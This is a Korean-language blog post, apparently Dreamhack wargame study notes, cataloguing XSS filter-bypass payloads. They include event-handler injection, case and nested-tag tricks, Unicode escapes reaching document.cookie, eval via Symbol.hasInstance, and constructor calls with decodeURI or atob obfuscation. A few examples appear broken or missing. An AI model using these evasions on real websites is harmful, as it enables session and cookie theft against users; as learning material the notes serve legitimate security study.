[Web Hacking] XSS Filtering

sy46·2023년 7월 26일
0

dreamhack

목록 보기
4/20

1. on 이벤트 핸들러 이용

<img src="" onerror="alert('hi')">
<img src="x.png" onload="alert('hi')">
<input type="text" onfocus="alert('hi')" autofocus>

2. 문자열 치환

가령 script라는 문자열을 공백으로 치환한다면,

<sscript><img src=""token tag"></sscript>

와 같이 적어주거나,
대소문자를 구분하지 않는다면

<sCript><img src="" onerror="alert('hi')></scripT>

와 같이 적어주면 된다.

3. HTML Entity Encoding

가령 n이라는 문자가 필터링된다면, n과 같은 단어로 우회가 가능하다.

아래는 예제 문제이다.

위의 문제는 script의 대소문자를 구분하지 않으므로 대소문자를 구분하여 적으라는 의도였으나, 어쩌다보니 1번과 2번을 모두 만족하는 풀이를 제출하였다.

3번 문제는 아래와 같이 적어주니, 내 화면에서 alert 문구가 뜨는 것을 확인하였다.

그래서 내 화면이 아닌 부모 화면에서 alert를 뜨게 하기 위해 parent.alert로 설정해주었다.

4. Unicode Escape Sequence

<script> alert(document.cookie); </script>
<script> \u0061lert(document.cookie); </script>
<script> \u0061lert(document["coo"+"kie"]); </script>
<script> window['\u0061lert'](document["\u0067oo"+"kie"]); </script>
<script> window['\x61lert'](document["\u0067oo"+"kie"]); </script>
<script> this['\u0061lert'](document["\u0063ook" + "ie"]); </script>
<script> self['\u0061lert'](document["\u0063ook" + "ie"]); </script>

5. 키워드 필터링

백틱 + ${} 표현식

let start = "hello";
let fin = "world";

let print = `${start}, ${fin}`; // hello, world

regex 표현식

let start = /hello/.source;
let fin = /world/.source +[3];

let print = `${start}, ${fin}`; // hello, world3

String.fromCharCode 함수

let start = String.fromCharCode(104, 101, 108, 108, 111) // hello
let fin = String.fromCharCode(119, 111, 114, 108, 100) // world

let print = `${start}, ${fin}`; // hello, world

내장 함수 및 객체 문자를 이용

let start = document.toString()[8] + history.toString()[9]; // Hi
let fin = (URL+0)[12] + (URL+0)[13]; // ()

let print = `${start} ${fin}`; // Hi ()

진수 변환

let start = 29234652..toString(36); // hello

hasInstance 우회

symbol은 javascript의 새로운 원시 타입으로, 고유한 값을 가지며 객체 속성의 식별자로 이용한다.

-원시 타입 : Strings, Boolean 등


Symbol.hasInstance 속성 : 객체의 생성자가 함수의 인스턴스인지 확인하는데 사용하는 메소드

첫 번째 방법

"alert\x28document.domain\x29" instanceof {[Symbol.hasInstance]:eval};

{} 빈 객체의 Symbo.hasInstance 속성 값을 eval로 설정하고, eval 함수이기 때문에 alert 함수가 실행되는 것이다.

두 번째 방법

Array.prototype[Symbol.hasInstance]=eval;
"alert\x28document.domain\x29" instanceof [];

javascript는 prototype기반 언어로 모든 객체들은 속성과 메소드를 상속받기 위해 prototype 객체를 가진다. 따라서 Array함수의 Prototype에 Symbol.hasInstance를 key로 값을 설정하면 모든 배열은 해당 속성을 상속받게 된다.

그러므로 Array.prototype[Symbol.hasInstance]를 eval 함수로 설정했으므로 아래 코드도 eval로 실행하게 된다.

예제 문제를 풀어보면,
1번은 간단하게 유니코드로, 혹은 window를 대체하는 this나 self로 우회할 수 있다.

2번 문제는 필터링되는 단어가 많다.
그렇기에 constructor 속성을 이용함과 동시에 필터링을 우회하기 위해 디코딩을 진행해주면 해결할 수 있다.

Array.constructor(alert(document.cookie));
Array[decodeURI('%63%6f%6e%73%74%72%75%63%74%6f%72')]
(decodeURI('%61%6c%65%72%74%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29'))();

끝에 ()를 통해 해당 함수를 호출하여 실행한다.



또는, base64로 인코딩된 문자를 디코딩하여 해결할 수 있다.

base64로 인코딩된 문자를 디코딩하는 함수는 atob이며,

Array[atob('Y29uc3RydWN0b3I')]
(atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ'))();

원리는 위와 같다.


3번 문제는 앞서 설명했던 regex 표현식과 내장 객체를 이용하면 된다.
다만 조금 더 신경써야 할 부분은 중괄호를 허용하지 않으므로

(URL+0)[12]
URL.toString()[12]

과 같은 표현을 사용할 수 없다.
이들 모두 대괄호로 표현해야하므로 아래와 같은 표현을 써야한다.

0개의 댓글